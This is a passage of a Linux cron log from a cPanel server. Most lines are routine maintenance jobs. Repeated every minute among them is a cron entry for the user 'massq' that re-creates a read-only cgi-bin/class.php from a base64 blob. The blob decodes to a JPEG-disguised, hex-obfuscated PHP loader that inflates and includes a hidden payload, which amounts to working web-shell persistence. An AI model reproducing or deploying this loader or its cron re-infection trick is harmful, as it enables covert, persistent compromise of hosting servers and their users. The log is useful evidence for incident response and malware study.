tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:57:01 server CROND[19312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:57:01 server CROND[19310]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 03:58:01 server CROND[19742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:58:01 server CROND[19743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:58:01 server CROND[19744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:59:01 server CROND[20222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:59:01 server CROND[20223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:59:01 server CROND[20224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:00:01 server CROND[20613]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 04:00:01 server CROND[20614]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:00:01 server CROND[20617]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 04:00:01 server CROND[20619]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 04:00:01 server CROND[20628]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 04:00:01 server CROND[20629]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:00:01 server CROND[20632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:00:01 server CROND[20634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:00:01 server CROND[20631]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 04:00:01 server CROND[20627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:01:01 server CROND[21478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:01:01 server CROND[21480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:01:01 server CROND[21481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:01:01 server CROND[21479]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 04:01:01 server run-parts(/etc/cron.hourly)[21479]: starting 0anacron
Sep  2 04:01:01 server run-parts(/etc/cron.hourly)[21500]: finished 0anacron
Sep  2 04:02:01 server CROND[21969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:02:01 server CROND[21970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:02:01 server CROND[21971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:03:01 server CROND[22396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:03:01 server CROND[22397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:03:01 server CROND[22398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:04:02 server CROND[22796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:04:02 server CROND[22801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:04:02 server CROND[22794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:05:01 server CROND[23316]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:05:01 server CROND[23318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:05:01 server CROND[23319]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 04:05:01 server CROND[23330]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 04:05:01 server CROND[23327]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 04:05:01 server CROND[23329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:05:01 server CROND[23321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:05:01 server CROND[23328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:06:01 server CROND[24172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:06:01 server CROND[24174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:06:01 server CROND[24173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:07:01 server CROND[24635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:07:01 server CROND[24636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:07:01 server CROND[24637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:08:01 server CROND[25011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:08:01 server CROND[25012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:08:01 server CROND[25013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:09:01 server CROND[25391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:09:01 server CROND[25393]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 04:09:01 server CROND[25392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbX